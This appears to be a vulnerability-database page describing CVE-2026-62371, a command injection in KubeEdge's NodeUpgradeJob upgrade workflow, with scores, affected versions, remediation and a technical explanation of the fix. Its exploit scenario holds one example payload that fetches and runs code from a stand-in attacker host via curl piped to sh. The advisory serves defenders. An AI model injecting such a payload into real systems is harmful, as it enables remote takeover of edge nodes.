Skip to main content

KubeEdge CVE-2026-62371

| EUVDEUVD-2026-84003 HIGH
OS Command Injection (CWE-78)
2026-09-21 security-advisories@github.com GHSA-5jpj-293f-rhvj
8.8
CVSS 3.1 · Vendor: github
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain RBAC to create/update NodeUpgradeJob
  2. Delivery
    Craft spec.version/spec.image with shell metacharacters
  3. Exploit
    keadm command concatenation on edge node
  4. Execution
    Arbitrary OS commands run at upgrade privileges
  5. Impact
    Full edge node compromise (C/I/A)

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires an authenticated principal holding Kubernetes/KubeEdge RBAC permission to create or update v1alpha2 NodeUpgradeJob resources, and a deployment that uses the taskmanager node-upgrade workflow against edge nodes running affected versions (1.12.0 through 1.21.1 / 1.22.1 / 1.23.0). The attacker supplies shell metacharacters in the spec.version or (optional) spec.image field; the pre-patch code lacked ValidateVersion/ValidateImageRepo checks, so any value is accepted. Limiting factors: exploitation is gated on holding the NodeUpgradeJob create/update privilege (PR:L, not anonymous) and on the cluster actually operating the upgrade task path; it is not exploitable against a cluster that does not grant this RBAC or does not process NodeUpgradeJobs.

Impact

This is a genuine high-priority finding, not a CVSS-inflated one. The vendor CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.8) is well-supported by the confirmed source-code evidence: the fix commit (552af457) shows edge/pkg/taskmanager/actions/nodeupgradejob.go building keadm upgrade edge --toVersion <spec.Version> --image <spec.Image> via unsanitized string concatenation, later hardened to argument-slice exec.Command plus admission-controller ValidateVersion/ValidateImageRepo. Low complexity and no user interaction are correct - a single crafted NodeUpgradeJob triggers execution. The one metric I dispute is Scope: vendor rates S:U, but the injection is authorized by Kubernetes/KubeEdge RBAC on the cloud control plane yet executes OS commands on remote edge nodes with the upgrade process's (typically root) privileges - that crosses a security authority boundary and is arguably S:C, which would raise the score toward ~9.6. Exploitation signals are otherwise thin: no EPSS score, no CISA KEV entry, and no public POC are present in the provided data, so exploitation status is 'no public exploit identified at time of analysis.' Net: a real, structurally-confirmed RCE gated behind an authenticated RBAC privilege - prioritize patching where NodeUpgradeJob is used, but note this is not confirmed to be under active exploitation.

Exploit ScenarioDerived

An attacker who has obtained (or been granted) Kubernetes RBAC permission to create or update KubeEdge NodeUpgradeJob resources submits a job whose spec.version or spec.image field embeds shell metacharacters (e.g. '; curl attacker/x | sh #'). When the edge node's taskmanager processes the upgrade, the payload is concatenated into the keadm shell command and executed on the targeted edge node with the upgrade process's privileges. No public exploit code is identified in the provided data, but the concatenation flaw is confirmed by the vendor fix diff, making a working exploit straightforward to develop.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.5% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 21, 2026

Shell command injection in KubeEdge's v1alpha2 NodeUpgradeJob upgrade workflow allows an authenticated user who holds RBAC permission to create or update NodeUpgradeJob resources to run arbitrary commands on targeted edge nodes with the privileges of the edge upgrade process. Affected deployments are those running KubeEdge 1.12.0 through 1.21.1, 1.22.0/1.22.1, or 1.23.0 that actually process node-upgrade tasks; the vulnerability is high-priority and genuine rather than a CVSS-inflated finding, but it is gated on the NodeUpgradeJob create/update privilege (PR:L, not anonymous) so it is not reachable by unauthenticated users or on clusters that do not grant that permission. No public exploit code and no confirmed active exploitation were identified at time of analysis; EPSS/KEV data were not supplied for this CVE. Vendor-released patches exist in 1.21.2, 1.22.2, and 1.23.1.

RemediationAI

Apply the vendor-released patches: upgrade to KubeEdge 1.21.2, 1.22.2, or 1.23.1 (matching your 1.21/1.22/1.23 release line) per the release pages https://github.com/kubeedge/kubeedge/releases/tag/v1.21.2, https://github.com/kubeedge/kubeedge/releases/tag/v1.22.2, and https://github.com/kubeedge/kubeedge/releases/tag/v1.23.1, and see the advisory at https://github.com/kubeedge/kubeedge/security/advisories/GHSA-5jpj-293f-rhvj for details. If you cannot patch immediately, the most effective compensating control is to tighten Kubernetes/KubeEdge RBAC so that only tightly scoped, trusted principals can create or update operations.kubeedge.io v1alpha2 NodeUpgradeJob resources; the trade-off is that legitimate upgrade automation must be re-authorized under a dedicated service account, and any principal still holding that permission remains able to trigger command execution on edge nodes. As a secondary measure, deploy the patched admission controller (which rejects invalid version and image repo values via ValidateVersion/ValidateImageRepo) if you can run cloud-side components independently, and audit existing NodeUpgradeJob objects and edge logs (/tmp/keadm.log) for suspicious metacharacters in spec.version or spec.image; note that the admission control is bypassable if an attacker can act through a path that does not traverse the webhook. Disabling the node-upgrade feature entirely removes exposure but blocks legitimate remote edge upgrades, and blocking the underlying privilege alone does not protect clusters where weaker validation is still deployed. Audit any NodeUpgradeJob created or modified by non-administrative users prior to patching, since exploitation may already have occurred.

Affected VersionsENISA

kubeedge 1.22.0, < 1.22.2
kubeedge 1.12.0, < 1.21.2
kubeedge 1.23.0, < 1.23.1

Affected Packages

go github.com/kubeedge/kubeedge fix: 1.21.2, 1.22.2, 1.23.1
euvd kubeedge_1_12_0 fix: 1.21.2
euvd kubeedge_1_22_0 fix: 1.22.2
euvd kubeedge_1_23_0 fix: 1.23.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 4 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The flaw is a classic OS command injection (CWE-78) in Go code. Prior to the fix, the v1alpha2 NodeUpgradeJob handler in edge/pkg/taskmanager/actions/nodeupgradejob.go built the upgrade command with a strings.Builder, concatenating the user-controlled spec.version and optional spec.image values directly into a shell string of the form 'keadm upgrade edge --force --toVersion <version> [--image <image>] >> /tmp/keadm.log 2>&1', which was then executed through execs.NewCommand and therefore interpreted by a shell. Because no validation was applied, shell metacharacters in either field (for example to append ';', '&&', pipes, or command substitution) broke out of the intended keadm invocation and ran attacker-supplied commands on the edge node with the privileges of the upgrade process, impacting node confidentiality, integrity, and availability. The upstream fix (commits 552af457a4c7ce80ea1678ab5889f475b36ea103, 657b745bebcdd7a221eb34c0aac13231ef12c37f, b72db7f8a0f7be23261b4349eab33024b2007df0, PRs 7028-7030) does two things: it replaces the shell string with exec.Command("keadm", args...) using an argument slice built by buildNodeUpgradeJobCommandArgs, which removes shell interpretation entirely, and it adds validation.ValidateVersion / validation.ValidateImageRepo checks both in the edge task handler and in the cloud-side admission controller (cloud/pkg/admissioncontroller/admit_nodeupgradejob.go), the latter replacing the older, weaker checks that only required a leading 'v' and semver parsability. Defenses are therefore layered: argument-based process execution plus strict version/image format validation at admission and at task execution. No CPE strings were provided in the intelligence feed, so affected scope is derived from the vendor version ranges.

Know when Kubeedge gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (github) PRIMARY 8.8 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
vuln.today AI 8.8 HIGH

Network-reachable API, low complexity, requires RBAC to create NodeUpgradeJob (PR:L), no UI; arbitrary OS commands at upgrade privilege give full C/I/A; scope kept U to match vendor though cloud-RBAC-to-edge-OS execution arguably justifies S:C.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (github).

CVSS VectorVendor: github

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
Patch available
Sep 21, 2026 - 18:02 EUVD
CVE Published
Sep 21, 2026 - 17:17 cve.org
HIGH 8.8

DescriptionCVE.org

KubeEdge is an open source system for extending native containerized application orchestration capabilities to hosts at Edge. From 1.12.0 until 1.21.2, 1.22.2, and 1.23.1, the v1alpha2 NodeUpgradeJob handler in edge/pkg/taskmanager/actions/nodeupgradejob.go concatenates authenticated user-controlled spec.version and spec.image values into the keadm upgrade edge shell command. A user with permission to create or update NodeUpgradeJob resources can supply shell metacharacters in either field, causing arbitrary commands to execute on targeted edge nodes with the privileges of the upgrade process and compromising node confidentiality, integrity, and availability. This issue is fixed in versions 1.21.2, 1.22.2, and 1.23.1.

Technical POC Analysis

No runnable PoC was present in the supplied evidence, and no patch diff or commit hash is visible.

Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.

Executive ViewAI

Why It Matters

KubeEdge clusters running versions 1.12.0 through 1.23.0 that process node-upgrade tasks let any user holding create/update rights on NodeUpgradeJob resources execute arbitrary commands on targeted edge nodes with the privileges of the edge upgrade process, effectively handing over control of edge infrastructure to an authenticated insider or a compromised service account. The precondition is a specific RBAC permission rather than anonymous access, so exposure is limited to clusters that grant it - but in those environments the blast radius spans the entire managed edge fleet, which typically sits outside data-center security monitoring. Leadership should care because edge nodes often host physical-world operations and are the hardest assets to detect, contain, and rebuild after compromise.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.5%
Top 59% exploitable
Prevalence
Low
niche CNCF edge-computing orchestration; specialized IoT/edge deployments, not general enterprise
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.5%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

CVE-2026-82473 HIGH POC
8.8 Aug 29

Unauthenticated integrity manipulation in KubeEdge CloudCore through 1.23.1 allows any network-reachable attacker to sub

CVE-2022-31073 HIGH POC
7.5 Jul 11

KubeEdge is an open source system for extending native containerized application orchestration capabilities to hosts at

CVE-2022-31076 MEDIUM POC
5.7 Jun 27

KubeEdge is built upon Kubernetes and extends native containerized application orchestration and device management to ho

CVE-2026-62182 HIGH
8.8 Sep 21

Authenticated command injection in KubeEdge (1.21.0 up to 1.21.2, 1.22.2, and 1.23.1) lets a principal holding Kubernete

CVE-2026-62369 HIGH
8.1 Sep 21

KubeEdge keadm releases from 1.16.0 before 1.21.2, 1.22.2, and 1.23.1 contain a path traversal in DecompressTarGz that,

CVE-2026-62370 MEDIUM
6.5 Sep 21

Memory exhaustion in KubeEdge CloudHub (versions 1.0.0 through 1.21.1, 1.22.0 through 1.22.1, and 1.23.0) allows an auth

CVE-2022-31080 MEDIUM
6.5 Jul 11

KubeEdge is an open source system for extending native containerized application orchestration capabilities to hosts at

CVE-2022-31079 MEDIUM
6.5 Jul 11

KubeEdge is an open source system for extending native containerized application orchestration capabilities to hosts at

CVE-2022-31078 MEDIUM
6.5 Jul 11

KubeEdge is an open source system for extending native containerized application orchestration capabilities to hosts at

CVE-2022-31075 MEDIUM
6.5 Jul 11

KubeEdge is an open source system for extending native containerized application orchestration capabilities to hosts at

CVE-2022-31074 MEDIUM
6.5 Jul 11

KubeEdge is an open source system for extending native containerized application orchestration capabilities to hosts at

CVE-2022-31077 MEDIUM
5.7 Jun 27

KubeEdge is built upon Kubernetes and extends native containerized application orchestration and device management to ho

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy